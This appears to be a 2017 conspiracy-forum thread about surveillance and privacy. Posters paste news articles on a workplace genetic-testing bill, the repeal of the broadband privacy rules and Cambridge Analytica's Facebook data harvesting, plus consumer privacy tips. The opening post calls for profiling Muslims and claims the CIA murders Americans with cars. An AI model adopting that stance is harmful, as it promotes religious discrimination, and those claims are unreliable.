I will never accept that it's okay to have the CIA/NSA in bathrooms across America with our teenage daughters. I will never accept that it's grandmothers and children who should be felt up by the TSA when we should be profiling Muslims.

I will never accept that it's okay for the CIA to arbitrarily murder Americans using their new cars.

Only a rube wants security at the price we are paying. It takes a special kind of chickens*** to say, "Feel up my little kid instead of the Muslim, who's far more likely to be a terrorist, next to me."

This isn't a game.

I'm an older American too, 67 to be precise, sure life was real private before the advent of digital media. But hey everyone wants to be online. Hell we wouldn't be 'sharing' right now if it was like when I grew up.
And just because they can, doesn't mean they do or haven't.
Not a rube, just a realist. It is what it is, do I like it? Hell no, but don't be surprised if you give up access to the cookie jar, that lo and behold all the cookies are gone!....lol


Title: Re: they know what you are doing
Post by: robomont on March 09, 2017, 01:01:43 pm
Zorgon knows me well.i had just burned one and just now got back from tilling by shovel,two garden rows,20 ft long each,2 ft wide and 1 foot deep.
Just planted both rows in broccoli and fertilized with fish emulsion and molasses.so im not a lazy pothead all the time but work is usually a 4 letter word with me unless you count the other 12 hours a day im reading ct forums and researching the universe one hack at a time.one drs degree isnt enough,i want them ALL!
While sitting on butt!
Even God had a throne.and no mine is not a toilet because im full of pooooooo!
Lol.just havin fun guys.i dont care if you wear every abc badge there is.im too old to give a shit.those that know dont care and those that care dont know.
Title: Re: they know what you are doing
Post by: robomont on March 09, 2017, 10:51:49 pm
Some of us have responsibilities that require our presence elsewhere at times.

Some of us even have, shriek, JOBS.  :o
i wasnt trying to insult you irene.it was a jab at big z.i like pickn on him is all.
Ive known him like 8yrs?
Weve had good times and bad times,like any family.
Title: Re: they know what you are doing
Post by: Irene on March 10, 2017, 10:09:44 am
i wasnt trying to insult you irene.it was a jab at big z.i like pickn on him is all.
Ive known him like 8yrs?
Weve had good times and bad times,like any family.

All right, robo. I've been naughty myself lately, so it was probably just karma coming back around at me. :)
Title: Re: they know what you are doing
Post by: space otter on March 10, 2017, 11:20:38 am


holy crap this is awful..1984 is here  yikes
words leaving the dictionary  privacy  and choice



http://www.msn.com/en-us/money/careersandeducation/house-republicans-would-let-employers-demand-workers%E2%80%99-genetic-test-results/ar-AAo5Qb1?li=BBnb7Kz

House Republicans would let employers demand workers’ genetic test results
 STAT STAT
Sharon Begley
4 hrs ago
A little-noticed bill moving through Congress would allow companies to require employees to undergo genetic testing or risk paying a penalty of thousands of dollars, and would let employers see that genetic and other health information.

Giving employers such power is now prohibited by legislation including the 2008 genetic privacy and nondiscrimination law known as GINA. The new bill gets around that landmark law by stating explicitly that GINA and other protections do not apply when genetic tests are part of a “workplace wellness” program.

he bill, H.R. 1313, was approved by a House committee on Wednesday, with all 22 Republicans supporting it and all 17 Democrats opposed. It has been overshadowed by the debate over the House GOP proposal to repeal and replace the Affordable Care Act, but the genetic testing bill is expected to be folded into a second ACA-related measure containing a grab-bag of provisions that do not affect federal spending, as the main bill does.

“What this bill would do is completely take away the protections of existing laws,” said Jennifer Mathis, director of policy and legal advocacy at the Bazelon Center for Mental Health Law, a civil rights group. In particular, privacy and other protections for genetic and health information in GINA and the 1990 Americans with Disabilities Act “would be pretty much eviscerated,” she said.

Related video: How does genetic testing really work?
vid at link

Employers say they need the changes because those two landmark laws are “not aligned in a consistent manner” with laws about workplace wellness programs, as an employer group said in congressional testimony last week.

Employers got virtually everything they wanted for their workplace wellness programs during the Obama administration. The ACA allowed them to charge employees 30 percent, and possibly 50 percent, more for health insurance if they declined to participate in the “voluntary” programs, which typically include cholesterol and other screenings; health questionnaires that ask about personal habits including plans to get pregnant; and sometimes weight loss and smoking cessation classes. And in rules that Obama’s Equal Employment Opportunity Commission issued last year, a workplace wellness program counts as “voluntary” even if workers have to pay thousands of dollars more in premiums and deductibles if they don’t participate.

Despite those wins, the business community chafed at what it saw as the last obstacles to unfettered implementation of wellness programs: the genetic information and the disabilities laws. Both measures, according to congressional testimony last week by the American Benefits Council, “put at risk the availability and effectiveness of workplace wellness programs,” depriving employees of benefits like “improved health and productivity.” The Council represents Fortune 500 companies and other large employers that provide employee benefits. It did not immediately respond to questions about how lack of access to genetic information hampers wellness programs.

Rigorous studies by researchers not tied to the $8 billion wellness industry have shown that the programs improve employee health little if at all. An industry group recently concluded that they save so little on medical costs that, on average, the programs lose money. But employers continue to embrace them, partly as a way to shift more health care costs to workers, including by penalizing them financially.

The 2008 genetic law prohibits a group health plan — the kind employers have — from asking, let alone requiring, someone to undergo a genetic test. It also prohibits that specifically for “underwriting purposes,” which is where wellness programs come in. “Underwriting purposes” includes basing insurance deductibles, rebates, rewards, or other financial incentives on completing a health risk assessment or health screenings. In addition, any genetic information can be provided to the employer only in a de-identified, aggregated form, rather than in a way that reveals which individual has which genetic profile.

There is a big exception, however: as long as employers make providing genetic information “voluntary,” they can ask employees for it.  Under the House bill, none of the protections for health and genetic information provided by GINA or the disabilities law would apply to workplace wellness programs as long as they complied with the ACA’s very limited requirements for the programs. As a result, employers could demand that employees undergo genetic testing and health screenings.

While the information returned to employers would not include workers’ names, it’s not difficult, especially in a small company, to match a genetic profile with the individual.

That “would undermine fundamentally the privacy provisions” of those laws,” said Nancy Cox, president of the American Society of Human Genetics, in a letter to the House Committee on Education and the Workforce the day before it approved the bill. “It would allow employers to ask employees invasive questions about … genetic tests they and their families have undergone” and “to impose stiff financial penalties on employees who choose to keep such information private, thus empowering employers to coerce their employees” into providing their genetic information.

If an employer has a wellness program but does not sponsor health insurance, rather than increasing insurance premiums, the employer could dock the paychecks of workers who don’t participate.

The privacy concerns also arise from how workplace wellness programs work. Employers, especially large ones, generally hire outside companies to run them. These companies are largely unregulated, and they are allowed to see genetic test results with employee names.

They sometimes sell the health information they collect from employees. As a result, employees get unexpected pitches for everything from weight-loss programs to running shoes, thanks to countless strangers poring over their health and genetic information.

Title: Re: they know what you are doing
Post by: space otter on March 14, 2017, 09:22:15 pm


HEALTHY LIVING 03/14/2017 07:56 pm ET
Workplace Genetic Testing Isn’t Just Unethical, It’s Scientifically Unsound
A House bill would allow penalties for refusing to provide DNA results.
By Erin Schumaker


vid at link

In 2008, Congress passed the Genetic Information Nondiscrimination Act to prevent employers and insurance companies from discriminating against Americans based on their medical records.

Now a House committee is taking steps to remove GINA’s protections.

On March 8, the House Committee on Education and the Workforce narrowly approved HR 1313, which could allow employers to require genetic testing as part of a workplace wellness program. Employees could face financial penalties if they refused.

The idea behind this is to make employees healthier and reduce health care costs for companies. But medical ethicists argue that this is not only unethical, it’s scientifically incoherent. Simply put, an employer wouldn’t be able to glean anything particularly useful from commercially available genetic testing.

“There’s this notion that somehow we could give you a genetic test and find out your risk factors and control them or monitor them,” Arthur Caplan, the founding director of New York University’s Division of Medical Ethics told The Huffington Post. “That’s science that isn’t here yet.”

Dr. Lainie Ross, professor of clinical medical ethics at the University of Chicago Medicine, said, “We’re advancing in our understanding of genetics, but we’re nowhere near being able to say, ‘Because you have this gene, you definitely should take this medicine’ or not.”

Even Dr. Tom Price, the former orthopedic surgeon and Affordable Care Act opponent who now heads the Department of Health and Human Services, expressed reservations about HR 1313.

“I’m not familiar with the bill, but it sounds like there would be some significant concerns about it,” Price said Sunday on “Meet the Press.” “If the department’s asked to evaluate it, or if it’s coming through the department, we’ll be glad to take a look at it.”

The genetic testing industry is unregulated

In 2015, the Food and Drug Administration cautioned that some laboratory tests could harm patients because they led to false diagnoses and unnecessary treatments (the agency later withdrew its regulatory proposals and left lab test regulation up to President Donald Trump’s FDA commissioner and Congress).

In fact, in a study in which researchers gave nine labs a genetic variant and asked them to analyze it, the labs gave different answers 22 percent of the time.

“Even if everyone agrees that a genetic variant can cause disease, the actual risk to an individual of developing that disease is not that clear,” Heidi Rehm of Brigham and Women’s Hospital told the STAT health news site. “That risk depends on environmental factors as well as other genetic ones, but truthfully we don’t know what those factors are.”

Forced genetic testing could push highly personal, sensitive and potentially inaccurate information on individuals who may not want to know if they have specific health risks, particularly if they carry genetic mutations for serious or incurable conditions.

The dangers of inaccurate genetic testing

Genetics is based on probabilities, not certainties. So, although a test may find that you have an increased risk of breast cancer, to use one example, that does not mean you are certain to get the disease.

“It may push people into seeking out untested treatments or treatments that they really don’t need because they come from a low-risk family,” Ross said. “It’s not good medical practice.”

Then there’s the possibility that employers and insurance companies could use genetic information (which might not even accurately represent disease risk) to discriminate against employees and customers. Insurance companies could potentially charge people who show a risk for certain genetic conditions higher premiums, and unscrupulous employers would have the ability to make hiring and firing decisions based on employee health. 

There’s also the dicey question of which genes employers and insurance companies might choose to look at.

Cherry-picking who gets insurance could potentially stigmatize one group of people.

“We all have health risks. We’re all going to die,” Ross said. “This is all about risk, and we want to share the risk.”

Employers can prioritize health without sacrificing privacy

Workplace wellness programs are popular (about half of U.S. companies with 50 or more employees had workplace wellness programs in place, according to a 2013 report from the nonpartisan Rand Corp. think tank), but there’s not much evidence that such programs improve employee health.

Most of the studies that do exist fail to prove causation, show only short-term effects or are written by the wellness industry, according to The New York Times. The more rigorous studies are more likely to show that wellness programs neither save money nor improve employee health.

That’s not to say health and wellness shouldn’t be employer priorities. But workplace wellness programs that incentivize and penalize employees based on their health are fundamentally unethical, according to Caplan.

“The notion that your boss is in the best position to monitor your health is morally tenuous,” he said. “For example, your boss doesn’t care if your job is stressing you out. They’re not going to fix that. They’re just going to tell you to lose weight.”

“If your boss really cares about your health, then they can build a gym and incentivize you to go down there when they give you that extra 30-minute break.”

Suggest a correction
http://www.huffingtonpost.com/entry/workplace-genetic-privacy-bill-gina_us_58c6e4c5e4b081a56dee48cf?so8yer4oucswkx1or&
Title: Re: they know what you are doing
Post by: space otter on March 23, 2017, 04:03:37 pm

http://www.msn.com/en-us/news/politics/us-senate-votes-to-overturn-obama-broadband-privacy-rules/ar-BByDOGZ?li=BBnb7Kz


U.S. Senate votes to overturn Obama broadband privacy rules

By David Shepardson
2 hrs ago

The U.S. Senate on Thursday voted narrowly to repeal regulations requiring internet service providers to do more to protect customers' privacy than websites like Alphabet Inc's Google (GOOGL.O) or Facebook Inc (FB.O).

The vote was along party lines, with 50 Republicans approving the measure and 48 Democrats rejecting it. The two remaining Republicans in the Senate were absent and did not cast a vote.

According to the rules approved by the Federal Communications Commission in October under then-President Barack Obama, internet providers would need to obtain consumer consent before using precise geolocation, financial information, health information, children's information and web browsing history for advertising and internal marketing.

The vote was a victory for internet providers such as AT&T Inc (T.N), Comcast Corp (CMCSA.O) and Verizon Communications Inc (VZ.N), which had strongly opposed the rules.

The bill next goes to the U.S. House of Representatives, but it was not clear when they would take up the measure.

Senate Majority Leader Mitch McConnell said the Senate was overturning a regulation that "makes the internet an uneven playing field, increases complexity, discourages competition, innovation, and infrastructure investment."

But Democratic Senator Ed Markey said, "Republicans have just made it easier for American’s sensitive information about their health, finances and families to be used, shared, and sold to the highest bidder without their permission."

FCC Chairman Ajit Pai said consumers would have privacy protections even without the Obama administration internet provider rules.

In a joint statement, Democratic members of the FCC and the Federal Trade Commission said the Senate vote "creates a massive gap in consumer protection law as broadband and cable companies now have no discernible privacy requirements."

Republican commissioners, including Pai, said in October that the rules would unfairly give websites like Facebook, Twitter Inc (TWTR.N) or Google the ability to harvest more data than internet service providers and thus dominate digital advertising. The FCC earlier this month delayed the data rules from taking effect.

The Internet and Television Association, a trade group, in a statement praised the vote as a "critical step towards re-establishing a balanced framework that is grounded in the long-standing and successful FTC privacy framework that applies equally to all parties operating online."

Websites are governed by a less restrictive set of privacy rules overseen by the Federal Trade Commission.

Jonathan Schwantes, senior policy counsel for advocacy group Consumers Union, said the vote "is a huge step in the wrong direction, and it completely ignores the needs and concerns of consumers."

(Reporting by David Shepardson; Editing by Chris Reese and Jonathan Oatis)



.................................


https://community.norton.com/en/blogs/norton-protection-blog/what-are-some-laws-regarding-internet-and-data-security

What Are Some of the Laws Regarding Internet and Data Security?
By: Nadia_Kovacs30 ADMIN EMPLOYEE   Posted: 25-Mar-2016

.....

http://www.ncsl.org/research/telecommunications-and-information-technology/state-internet-filtering-laws.aspx

LAWS RELATING TO FILTERING, BLOCKING AND USAGE POLICIES IN SCHOOLS AND LIBRARIES

Last update: Nov. 16, 2016

...................

http://www.ncsl.org/research/telecommunications-and-information-technology/state-laws-related-to-internet-privacy.aspx

STATE LAWS RELATED TO INTERNET PRIVACY
1/5/2016


Protecting Consumer Privacy | Federal Trade Commission
https://www.ftc.gov/news-events/media-resources/protecting-consumer-privacy
The FTC has been the chief federal agency on privacy policy and ... when it began enforcing one of the first federal privacy laws – the Fair Credit Reporting ... The Children's Online Privacy Protection Act (COPPA): What Parents Should Know ...


[PDF]Federal Internet Privacy Law - Fenno Law Firm, LLC
www.fennolaw.com/uploads/Federal_Internet_Privacy_Law_article.pdf
PRIVACY LAW. Similarly, there is no comprehensive federal law governing privacy in general. Internet privacy (and privacy in general) in the United. States is ...



Title: Re: they know what you are doing
Post by: biggles on March 23, 2017, 07:16:05 pm
I know they know everything about me because I have been helping, talking and emailing someone on their hit targeted list.

Let them turn up at the door, believe me with what I go through they can shoot if they want.

I have been getting private numbers calling me for two years no one on there, just listening, so in the end I started calling them names.
Title: Re: they know what you are doing
Post by: space otter on March 28, 2017, 08:08:27 pm


http://www.msn.com/en-us/news/politics/house-pulls-the-plug-on-internet-privacy-rules/ar-BByYPFA

House pulls the plug on internet privacy rules
 CNET CNET
Marguerite Reardon
4 hrs ago


Broadband providers won't have to get your permission before sharing your web browsing history and other personal data with marketers thanks to a vote today on Capitol Hill.

Republicans in the US House of Representatives on Tuesday followed their colleagues in the Senate with a vote to approve a resolution that uses the Congressional Review Act to prevent privacy rules passed by the Federal Communications Commission last year from taking effect. The vote was 231 in favor of the resolution and 189 opposing the measure.

The Senate voted on Thursday to adopt the resolution to nullify the rules. All that's left now is for President Trump to sign the order. This will essentially repeal the Obama-era regulation passed in October days before Trump was elected. These rules would have required broadband companies to get their customers' permission before they sell "sensitive" information about their web browsing activity, app usage or whereabouts to marketers. The Congressional Review Act also prohibits the FCC from adopting similar rules in the future.

Why should you care?
Proponents of the rules, like consumer advocacy groups, say this is bad news for consumers because the rules protect your privacy. Without these regulations, these groups say that broadband providers will be able to sell information about where you've been online, what you're buying, the apps you're using, and where you're located to marketers and other third parties, like insurance companies.

"ISPs like Comcast, AT&T, and Charter will be free to sell your personal information to the highest bidder without your permission -- and no one will be able to protect you," Gigi Sohn, an advisor to former FCC chairman Tom Wheeler, who championed the rules, wrote in an op-ed on Tuesday.

Meanwhile, internet service providers say the regulations are too strict and unfairly single out broadband providers, because they require broadband companies to adhere to a more stringent privacy requirement than internet companies must follow. They say the rules are burdensome and will stifle competition, driving up prices.

"The FCC's flawed broadband privacy rules will have a chilling effect on internet innovation and competition," said Gary Shapiro head of the Consumer Technology Association.

Instead, these groups say that broadband companies should follow the same privacy guidelines as internet companies, like Facebook and Google. They follow rules established by the Federal Trade Communication, which only requires companies offer consumers the opportunity to opt out of such data sharing. Industry groups argue having two sets of rules gives internet companies a competitive leg up.

For broadband companies the stakes are high. These companies are looking to expand their businesses and offer marketers more targeted advertising, and they want to use the personal information they collect from their customers to do it. The nation's largest broadband companies -- AT&T, Comcast and Verizon -- have each made acquisitions in an effort to build their digital content holdings, making them not only the companies that provide a broadband pipe into your home, but also companies whose own content rides that network.

The vote, which has been highly politicized, fell along party lines. It's part of a GOP effort to eliminate several regulations issued during Obama's final months in office. And it comes just days after Trump's plan to repeal and replace "Obamacare" failed. President Trump has already signed several resolutions under the Congressional Review Act to repeal regulations, including two related to education and one concerning the environment.

FCC Chairman Ajit Pai, who voted against the rules when he was a commissioner before being appointed as chairman in January, had already put the brakes on the rollout of the rules. In February, the FCC voted to hold off implementing the rules until challenges to the rules could be assessed.
Title: Re: they know what you are doing
Post by: robomont on March 29, 2017, 12:40:54 am
And innovation is officially dead except for big corporations.
Why create anything if its just gonna be stolen before you can even file a patent.
Title: Re: they know what you are doing
Post by: space otter on March 30, 2017, 09:27:28 pm

ahh face book....i don't know a lot about this source but the info seems more than believable..


https://theintercept.com/2017/03/30/facebook-failed-to-protect-30-million-users-from-having-their-data-harvested-by-trump-campaign-affiliate/

FACEBOOK FAILED TO  PROTECT 30 MILLION USERS FROM HAVING THEIR DATA HARVESTED BY TRUMP CAMPAIGN AFFILIATE

Mattathias Schwartz
March 30 2017, 2:01 p.m.

IN 2014, TRACES of an unusual survey, connected to Facebook, began appearing on internet message boards. The boards were frequented by remote freelance workers who bid on “human intelligence tasks” in an online marketplace, called Mechanical Turk, controlled by Amazon. The “turkers,” as they’re known, tend to perform work that is rote and repetitive, like flagging pornographic images or digging through search engine results for email addresses. Most jobs pay between 1 and 15 cents. “Turking makes us our rent money and helps pay off debt,” one turker told The Intercept. Another turker has called the work “voluntary slave labor.”

The task posted by “Global Science Research” appeared ordinary, at least on the surface. The company offered turkers $1 or $2 to complete an online survey. But there were a couple of additional requirements as well. First, Global Science Research was only interested in American turkers. Second, the turkers had to download a Facebook app before they could collect payment. Global Science Research said the app would “download some information about you and your network … basic demographics and likes of categories, places, famous people, etc. from you and your friends.”

“Our terms of service clearly prohibit misuse,” said a spokesperson for Amazon Web Services, by email. “When we learned of this activity back in 2015, we suspended the requester for violating our terms of service.”

Although Facebook’s early growth was driven by closed, exclusive networks at college and universities, it has gradually herded users to agree to increasingly permissive terms of service. By 2014, anything a user’s friends could see was also potentially visible to the developers of any app that they chose to download. Some of the turkers noticed that the Global Science Research app appeared to be taking advantage of Facebook’s porousness. “Someone can learn everything about you by looking at hundreds of pics, messages, friends, and likes,” warned one, writing on a message board. “More than you realize.” Others were more blasé. “I don’t put any info on FB,” one wrote. “Not even my real name … it’s backwards that people put sooo much info on Facebook, and then complain when their privacy is violated.”

In late 2015, the turkers began reporting that the Global Science Research survey had abruptly shut down. The Guardian had published a report that exposed exactly who the turkers were working for. Their data was being collected by Aleksandr Kogan, a young lecturer at Cambridge University. Kogan founded Global Science Research in 2014, after the university’s psychology department refused to allow him to use its own pool of data for commercial purposes. The data collection that Kogan undertook independent of the university was done on behalf of a military contractor called Strategic Communication Laboratories, or SCL. The company’s election division claims to use “data-driven messaging” as part of “delivering electoral success.”

SCL has a growing U.S. spin-off, called Cambridge Analytica, which was paid millions of dollars by Donald Trump’s campaign. Much of the money came from committees funded by the hedge fund billionaire Robert Mercer, who reportedly has a large stake in Cambridge Analytica. For a time, one of Cambridge Analytica’s officers was Stephen K. Bannon, Trump’s senior adviser. Months after Bannon claimed to have severed ties with the company, checks from the Trump campaign for Cambridge Analytica’s services continued to show up at one of Bannon’s addresses in Los Angeles.

“You can say Mr. Mercer declined to comment,” said Jonathan Gasthalter, a spokesperson for Robert Mercer, by email.

The Intercept interviewed five individuals familiar with Kogan’s work for SCL. All declined to be identified, citing concerns about an ongoing inquiry at Cambridge and fears of possible litigation. Two sources familiar with the SCL project told The Intercept that Kogan had arranged for more than 100,000 people to complete the Facebook survey and download an app. A third source with direct knowledge of the project said that Global Science Research obtained data from 185,000 survey participants as well as their Facebook friends. The source said that this group of 185,000 was recruited through a data company, not Mechanical Turk, and that it yielded 30 million usable profiles. No one in this larger group of 30 million knew that “likes” and demographic data from their Facebook profiles were being harvested by political operatives hired to influence American voters.

Kogan declined to comment. In late 2014, he gave a talk in Singapore in which he claimed to have “a sample of 50+ million individuals about whom we have the capacity to predict virtually any trait.” Global Science Research’s public filings for 2015 show the company holding 145,111 British pounds in its bank account. Kogan has since changed his name to Spectre. Writing online, he has said that he changed his name to Spectre after getting married. “My wife and I are both scientists and quite religious, and light is a strong symbol of both,” he explained.

The purpose of Kogan’s work was to develop an algorithm for the “national profiling capacity of American citizens” as part of SCL’s work on U.S. elections, according to an internal document signed by an SCL employee describing the research.  here sheepies sheepies

“We do not do any work with Facebook likes,” wrote Lindsey Platts, a spokesperson for Cambridge Analytica, in an email. The company currently “has no relationship with GSR,” Platts said.

“Cambridge Analytica does not comment on specific clients or projects,” she added when asked whether the company was involved with Global Science Research’s work in 2014 and 2015.

The Guardian, which was was the first to report on Cambridge Analytica’s work on U.S. elections, in late 2015, noted that the company drew on research “spanning tens of millions of Facebook users, harvested largely without their permission.” Kogan disputed this at the time, telling The Guardian that his turker surveys had collected no more than “a couple of thousand responses” for any one client. While it is unclear how many responses Global Science Research obtained through Mechanical Turk and how many it recruited through a data company, all five of the sources interviewed by The Intercept confirmed that Kogan’s work on behalf of SCL involved collecting data from survey participants’ networks of Facebook friends, individuals who had not themselves consented to give their data to Global Science Research and were not aware that they were the objects of Kogan’s study. In September 2016, Alexander Nix, Cambridge Analytica’s CEO, said that the company built a model based on “hundreds and hundreds of thousands of Americans” filling out personality surveys, generating a “model to predict the personality of every single adult in the United States of America.”

Shortly after The Guardian published its 2015 article, Facebook contacted Global Science Research and requested that it delete the data it had taken from Facebook users. Facebook’s policies give Facebook the right to delete data gathered by any app deemed to be “negatively impacting the Platform.” The company believes that Kogan and SCL complied with the request, which was made during the Republican primary, before Cambridge Analytica switched over from Ted Cruz’s campaign to Donald Trump’s. It remains unclear what was ultimately done with the Facebook data, or whether any models or algorithms derived from it wound up being used by the Trump campaign.

In public, Facebook continues to maintain that whatever happened during the run-up to the election was business as usual. “Our investigation to date has not uncovered anything that suggests wrongdoing,” a Facebook spokesperson told The Intercept.

Facebook appears not to have considered Global Science Research’s data collection to have been a serious ethical lapse. Joseph Chancellor, Kogan’s main collaborator on the SCL project and a former co-owner of Global Science Research, is now employed by Facebook Research. “The work that he did previously has no bearing on the work that he does at Facebook,” a Facebook spokesperson told The Intercept.

Chancellor declined to comment.

Cambridge Analytica has marketed itself as classifying voters using five personality traits known as OCEAN — Openness, Conscientiousness, Extroversion, Agreeableness, and Neuroticism — the same model used by University of Cambridge researchers for in-house, non-commercial research. The question of whether OCEAN made a difference in the presidential election remains unanswered. Some have argued that big data analytics is a magic bullet for drilling into the psychology of individual voters; others are more skeptical. The predictive power of Facebook likes is not in dispute. A 2013 study by three of Kogan’s former colleagues at the University of Cambridge showed that likes alone could predict race with 95 percent accuracy and political party with 85 percent accuracy. Less clear is their power as a tool for targeted persuasion; Cambridge Analytica has claimed that OCEAN scores can be used to drive voter and consumer behavior through “microtargeting,” meaning narrowly tailored messages. Nix has said that neurotic voters tend to be moved by “rational and fear-based” arguments, while introverted, agreeable voters are more susceptible to “tradition and habits and family and community.”

Dan Gillmor, director of the Knight Center at Arizona State University, said he was skeptical of the idea that the Trump campaign got a decisive edge from data analytics. But, he added, such techniques will likely become more effective in the future. “It’s reasonable to believe that sooner or later, we’re going to see widespread manipulation of people’s decision-making, including in elections, in ways that are more widespread and granular, but even less detectable than today,” he wrote in an email.

Trump’s circle has been open about its use of Facebook to influence the vote. Joel Pollak, an editor at Breitbart, writes in his campaign memoir about Trump’s “armies of Facebook ‘friends,’ … bypassing the gatekeepers in the traditional media.” Roger Stone, a longtime Trump adviser, has written in his own campaign memoir about “geo-targeting” cities to deliver a debunked claim that Bill Clinton had fathered a child out of wedlock, and narrowing down the audience “based on preferences in music, age range, black culture, and other urban interests.”

Clinton, of course, had her own analytics effort, and digital market research is a normal part of any political campaign. But the quantity of data compiled on individuals during the run-up to the election is striking. Alexander Nix, head of Cambridge Analytica, has claimed to “have a massive database of 4-5,000 data points on every adult in America.” Immediately after the election, the company tried to take credit for the win, claiming that its data helped the Trump campaign set the candidate’s travel schedule and place online ads that were viewed 1.5 billion times. Since then, the company has been de-emphasizing its reliance on psychological profiling.

The Information Commissioner’s Office, an official privacy watchdog within the British government, is now looking into whether Cambridge Analytica and similar companies might pose a risk to voters’ rights. The British inquiry was triggered by reports in The Observer of ties between Robert Mercer, Cambridge Analytica, and the Leave.EU campaign, which worked to persuade British voters to leave the European Union. While Nix has previously talked about the firm’s work for Leave.EU, Cambridge Analytica now denies that it had any paid role in the campaign.

In the U.S., where privacy laws are looser, there is no investigation. Cambridge Analytica is said to be pitching its products to several federal agencies, including the Joint Chiefs of Staff. SCL, its parent company, has new offices near the White House and has reportedly been advised by Gen. Michael Flynn, Trump’s former national security adviser, on how to increase its federal business. (A spokesperson for Flynn denied that he had done any work for SCL.)

Years before the arrival of Kogan’s turkers, Facebook founder Mark Zuckerberg tried to address privacy concerns around the company’s controversial Beacon program, which quietly funneled data from outside websites into Facebook, often without Facebook users being aware of the process. Reflecting on Beacon, Zuckerberg attributed part of Facebook’s success to giving “people control over what and how they share information.” He said that he regretted making Beacon an “opt-out system instead of opt-in … if someone forgot to decline to share something, Beacon went ahead and still shared it with their friends.”

Seven years later, Facebook appears to have made the same mistake, but with far greater consequences. In mid-2014, however, Facebook announced a new review process, where the company would make sure that new apps asked only for data they would actually use. “People want more control,” the company said at that time. “It’s going to make a huge difference with building trust with your app’s audience.” Existing apps were given a full year to switch over to have Facebook review how they handled user data. By that time, Global Science Research already had what it needed.
Title: Re: they know what you are doing
Post by: space otter on March 31, 2017, 07:42:18 am
this may be helpful

03/30/2017 02:05 pm ET
Republicans Are About To Sell Your Browser History. Here’s How To Protect Yourself.
“If I don’t like the practices of Google, I can go to Bing... But if I don’t like the practice of my network provider, I’m out of luck.”
By Ryan Grenoble

Comcast has done the impossible. Somehow, Americans are about to hate it (and just about every other large internet service provider in the country) more than they already do.

Thanks in no small part to the efforts of those ISPs, the House of Representatives passed a bill Tuesday that would allow internet and telecom companies to share customers’ personal information, including web browsing history, without their consent.

Rep. Marsha Blackburn (R-Tenn.), who introduced the legislation in the House, has received $693,000 from the internet and telecom industry over the course of her 14-year political career, including $77,000 from Comcast, $98,600 from Verizon, and $104,000 from AT&T. While we’re on the subject, here’s a complete list of every politician who voted for Tuesday’s bill, and how much the telecom industry gave them in their most recent election cycle. Yeah.

Unfortunately, you can’t just go and drop your ISP for one that will protect your data, since many of them are local monopolies and you don’t have a choice.

“ISPs are in a position to see a lot of what you do online. They kind of have to be, since they have to carry all of your traffic,” Jeremy Guillula, a senior staff technologist at the Electronic Frontier Foundation, a nonprofit that advocates for internet privacy, said in a statement to The Huffington Post.

That’s different than the rest of the internet, where “if I don’t like the practices of Google, I can go to Bing; if I don’t like the practices of Bing, I can go to Firefox,” former Federal Communications Commission Chairman Tom Wheeler told HuffPost on Monday. “But if I don’t like the practice of my network provider, I’m out of luck.”

The bill has now passed in both the House and the Senate, with Republicans almost unanimously in favor and Democrats mostly opposed. President Donald Trump has said he strongly supports the measure, meaning a veto is unlikely.

So, in the very likely event that this becomes law, here’s what you can do to protect your privacy:

Get A Virtual Private Network

A virtual private network guards your web traffic by encrypting it as it flows from your device, through your ISP, and to a private server, which then directs you to your ultimate internet destination. They’re extremely common in the corporate world as a way to shield sensitive data when, say, an employee logs on to the free Wi-Fi at Starbucks to do some work.

Unfortunately, VPNs aren’t exactly a “silver bullet,” says Jake Laperruque, senior counsel at the Constitution Project, a bipartisan think tank focused on public safety, privacy and government accountability.

While VPNs protect users from ISP snooping, there’s nothing regulating the VPNs themselves. And that matters, since you’re effectively letting your VPN handle all the data that would otherwise be available to your ISP. So be sure to find a VPN that both encrypts your data and explicitly says it won’t collect it.

“It’s important to do research and make sure the VPN you use has clear terms guaranteeing it won’t collect your data,” Laperruque told HuffPost in an email. “Unfortunately, more reliable VPNs tend to require payment, so Internet users will now face a cost to preserving privacy.”

Laperruque noted that VPNs also won’t protect users from tracking software, “or potentially innovative new types of ‘cookies’ that are more effective.” (More information on that here.)

You can expect to pay around $5 a month for an honest, reliable VPN. Alternatively, Ars Technica has an excellent explanation of how ― and why ― you might want to just build your own if you’re technically inclined.

Use TOR

No, not the Norse god with the similar name and the big hammer. TOR, which stands for “The Onion Router” (really), is an all-in-one anonymous browsing beast.

TOR disguises your web traffic by mixing it up with everyone else’s, bouncing data around via a relay of volunteer-run servers all over the world. It’s extremely effective at anonymizing people, but all that bouncing comes at a cost: It’s also pretty slow.

“Tor is an excellent resource for private browsing but there are a few caveats to note,” Laperruque says. “It’s slower so things like streaming video are very hard... and you need to be in the Tor browser, so things like outside messaging apps... that default to a different browser aren’t protected. On the upside, unlike many VPNs, Tor is totally free.”

Make Some Noise

Instead of hiding from your ISP, feed it lies.

A handy new website called “Internet Noise,” courtesy of the programmer Dan Schultz, will drown your web history by constantly conducting random Google searches on the side. Your browsing data isn’t worth much to advertisers if they can’t figure out what it means.

In the 15 or so seconds HuffPost had the tool activated, it searched for spearfishing, “spy sad” (whatever that means), and “horse news.” Yee haw! Schultz told Wired he Googled “top 4,000 nouns” and used the results to figure out what sort of noise would be... er, noisiest.

Schultz warns that his tool “does not make you safe” and is intended mostly “as a form of digital protest.”

Encryption Is Your Friend

Remember the early days of the internet, when every web address started with “http://”? They still do, actually (though modern browsers rarely display it), but these days a more secure version has started to take its place: HTTPS. It’s basically the same thing as its predecessor, just encrypted. And given the choice, encrypted is always better from a security standpoint.

When you visit a website that uses HTTPS, your ISP can see ― and track ― the website you visited, but it can’t see the individual pages. (If you’re using Chrome or Firefox, sites that use HTTPS are denoted with a little green lock icon to the left of the address bar.)

“HTTPS is something that every internet user should be on the lookout for whenever they’re on a site that might request sensitive data,” Laperruque said. “It’s a critical protection against malicious hackers.”

However, HTTPS “will only provide limited help in terms of ISP tracking,” he went on. “On these sites [ISPs] can’t track what you visit within a site, but they can see the base domain you visited, which can be very sensitive (for example a site for an abortion clinic, drug addiction resources, or political donations).”

Not every website has HTTPS, or even automatically serves it by default if it does. But thanks to a handy browser plug-in from the Electronic Frontier Foundation, you can force sites to provide HTTPS when possible.

“HTTPS Everywhere” is available for Firefox, Chrome, Opera and Android. It’s currently in beta, so expect some hiccups.

Be A Sellout

If a corporation can sell your browsing history (and “corporations are people, my friend”), why not cut out the middleman and just sell your own data?

Petter Rudwall, a creative director at the Swedish public relations agency Wenderfalck, recently attempted to do just that. “If my browser history is becoming a commodity,” he told HuffPost, “why shouldn’t I benefit from it?”

